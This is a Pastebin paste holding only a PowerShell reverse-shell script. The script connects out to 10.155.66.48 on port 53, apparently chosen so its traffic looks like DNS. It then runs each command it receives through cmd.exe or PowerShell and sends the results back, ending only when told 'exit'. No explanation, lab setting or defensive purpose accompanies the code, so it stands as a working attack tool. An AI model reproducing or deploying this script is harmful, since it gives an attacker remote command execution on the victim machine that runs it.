Advertisement
Guest User

Untitled

a guest
Apr 26th, 2019
94
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.74 KB | None | 0 0
  1. $socket = new-object System.Net.Sockets.TcpClient('10.155.66.48', 53);
  2. if($socket -eq $null){exit 1}
  3. $stream = $socket.GetStream();
  4. $writer = new-object System.IO.StreamWriter($stream);
  5. $buffer = new-object System.Byte[] 1024;
  6. $encoding = new-object System.Text.AsciiEncoding;
  7. do
  8. {
  9. $writer.Flush();
  10. $read = $null;
  11. $res = ""
  12. while($stream.DataAvailable -or $read -eq $null) {
  13. $read = $stream.Read($buffer, 0, 1024)
  14. }
  15. $out = $encoding.GetString($buffer, 0, $read).Replace("`r`n","").Replace("`n","");
  16. if(!$out.equals("exit")){
  17. $args = "";
  18. if($out.IndexOf(' ') -gt -1){
  19. $args = $out.substring($out.IndexOf(' ')+1);
  20. $out = $out.substring(0,$out.IndexOf(' '));
  21. if($args.split(' ').length -gt 1){
  22. $pinfo = New-Object System.Diagnostics.ProcessStartInfo
  23. $pinfo.FileName = "cmd.exe"
  24. $pinfo.RedirectStandardError = $true
  25. $pinfo.RedirectStandardOutput = $true
  26. $pinfo.UseShellExecute = $false
  27. $pinfo.Arguments = "/c $out $args"
  28. $p = New-Object System.Diagnostics.Process
  29. $p.StartInfo = $pinfo
  30. $p.Start() | Out-Null
  31. $p.WaitForExit()
  32. $stdout = $p.StandardOutput.ReadToEnd()
  33. $stderr = $p.StandardError.ReadToEnd()
  34. if ($p.ExitCode -ne 0) {
  35. $res = $stderr
  36. } else {
  37. $res = $stdout
  38. }
  39. }
  40. else{
  41. $res = (&"$out" "$args") | out-string;
  42. }
  43. }
  44. else{
  45. $res = (&"$out") | out-string;
  46. }
  47. if($res -ne $null){
  48. $writer.WriteLine($res)
  49. }
  50. }
  51. }While (!$out.equals("exit"))
  52. $writer.close();
  53. $socket.close();
  54. $stream.Dispose()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement